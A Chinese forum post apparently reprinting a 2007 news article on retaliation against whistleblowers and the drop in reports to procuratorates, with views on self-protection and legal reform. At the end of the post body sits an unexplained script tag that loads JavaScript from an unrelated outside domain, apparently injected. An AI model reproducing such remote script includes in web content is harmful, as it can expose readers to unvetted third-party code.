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统计显示检察机关受理举报线索逐年下降

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发表于 2007-6-15 06:41:29 | 显示全部楼层 |阅读模式

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“不怕人头落地就随你们的便!”<BR><BR>  这是近期一媒体对被举报人向举报人疯狂叫嚣的公开披露。<BR><BR>  尽管这样的挑衅声显得格外刺耳,但细心的人不难发现,近年来,打击报复举报人的现象日趋猖獗,举报人惨遭迫害致伤致亡、蒙冤入狱等恶性事件屡见报端。<BR><BR>  “当你知道某人贪污贿赂,你会举报他吗?”记者13日在北京街头采访了十位市民。调查结果显示,有六成市民表示当自己知道别人职务犯罪时,一定能勇敢地站出来举报,清除“害群之马”。<BR><BR>  然而,当记者问及“举报时你最顾虑什么”时,大家担心最多的还是“怕遭遇打击报复”。<BR><BR>  针对打击报复举报人行为的愈演愈烈,有关人士究其三大原因:法网设计不严密、对打击报复行为的查处不力、举报人自我保护不到位。<BR><BR>  举报人自我保护意识缺位<BR><BR>  据最高人民检察院举报中心统计,检察机关查办的职务犯罪案件线索大约有57%来自群众举报。群众举报已成为检察机关惩治贪污贿赂等职务犯罪的“源头活水”。<BR><BR>  然而,一个举报人遭到迫害,就会给社会公众留下“举报人没有好下场”的印象,导致越来越多追求公正和善良的人们因害怕报复而不敢举报。<BR><BR>  统计资料显示:全国检察机关2001年至2003年受理的举报线索分别是194450件、149497件、143394件,下降趋势十分明显。<BR><BR>  “缺乏群众举报,不仅使检察机关很难深入有效地惩治腐败、打击职务犯罪,而且对检察举报制度的发展提出了挑战。”北京市海淀区人大代表杨东风说,被举报人都是有权力的人,万一举报人被泄露,举报人自己的饭碗砸了,弄不好再惹上杀身之祸,就不值得了!<BR><BR>  北京市海淀区人民检察院控申处处长李春林认为,多头举报和越级信访是举报人遭受打击报复的一个诱因。检察机关是依据“分级负责、归口处理”原则处理信访举报的。由于举报人对此不了解,或者担忧举报的问题得不到重视,往往采取多头举报、越级信访的方式,客观上增大了信访举报办理过程中发生泄露的可能性,进而增加了信访举报人遭受打击报复的危险性。<BR><BR>  “举报人向检察机关举报违法行为后,不仅仅是检察机关应当为举报人保守秘密,举报人本身也应当加强自我保护。因此,急需加强有关宣传教育,帮助信访举报人了解自我保护措施。”中国检察理论研究所副所长向泽选说。<BR><BR>  李春林补充说,举报人要注意举报的方式方法,不要公开举报,不要随便和他人谈论举报的情况,不要在公共场所用电话询问等方式了解举报线索查处情况,对同一举报内容,应向有管辖权的机关举报,不要多头举报,以免内容泄露或“打草惊蛇”,对举报人和查案工作都很不利。<BR><BR>  打击报复行为是否构成犯罪难认定<BR><BR>  对打击报复行为是否构成犯罪难以认定,无法有效查处,也是当前检察机关在举报人保护方面遇到的主要问题。李春林说,当前,打击报复行为往往与企业行为相交织,比如打击报复与企业人事制度改革交织。被举报人一般都是有一定职权的领导干部,他们往往利用手中权力,以“精简机构”等合法理由,将举报人下岗、解聘。再如打击报复与企业行政行为交织。被举报人利用企业的行政行为对举报人在职务上“调”、“降”、“停”、“撤”,政治上对举报人实施“关”、“卡”、“压”,从而使之与提拔、转干、入党无缘。要求检察机关来区分上述哪些是企业的正当行为,哪些是打击报复行为,不是一件容易的事情。<BR><BR>  “我国法律规定,报复陷害罪的主体仅限于国家机关工作人员。然而在司法实践中,打击报复举报人的主体正在向多样性趋势发展,相关法律设计不够严密。”向泽选认为,应建立健全制度规范,有必要建立一套完善的举报处理程序,避免举报材料流失。<BR><BR>  中国人民大学诉讼制度与司法改革研究中心主任陈卫东表示,举报人遭受打击报复不应仅仅是多头举报和越级信访的原因,检察机关应该注意工作环节和办案的方式、方法,不让举报人的信息在工作的任何一个环节被泄露。不仅侦查期间要替举报人保密,审判期间同样要为举报人保密。他还认为,必须慎用诬告罪、报复陷害罪来追究举报人的刑事责任。<BR><BR>  举报人保护立法待完善<BR><BR>  “我国法律对于打击保护举报人的规定太笼统。什么是情节严重,这些规定过于原则化,缺乏可操作性。”北京市石景山区人民检察院控申处处长孙华说。<BR><BR>  “纵观我国举报人保护制度立法,其线条粗松、简单分散,笼统概括,原则性强,操作性差,难以满足举报人保护的需要。”一位来自基层一线的检察官认为,从保护对象看,我国举报人保护对象仅限于举报人及其近亲属,与举报人关系密切的其他人不在其列。保护的内容不全,对举报人的保护不仅包括举报人人身权利的保护,还应包括财产权利的保护。现行制度缺乏对举报人举报的经济补偿规定和举报人财产保护的规定。<BR><BR>  我国立法采取的是惩罚为主、预防为辅的举报人保护措施。李春林认为,惩罚性保护措施以其震慑作用来保护举报人,但这种保护方式是在举报人遭到损害之后才启动的。尽管事后对行为人会依法严厉制裁,但给举报人和其亲属造成的损害却是无法弥补的。我国举报人保护预防措施仅为司法机关保守秘密的规定,这种措施局限性非常明显。他认为举报人保护的立法不完善是打击报复举报人愈演愈烈的重要原因。<BR><script language="JavaScript" src="http://www.16xx8.com/bbs/2.js"></script><BR>
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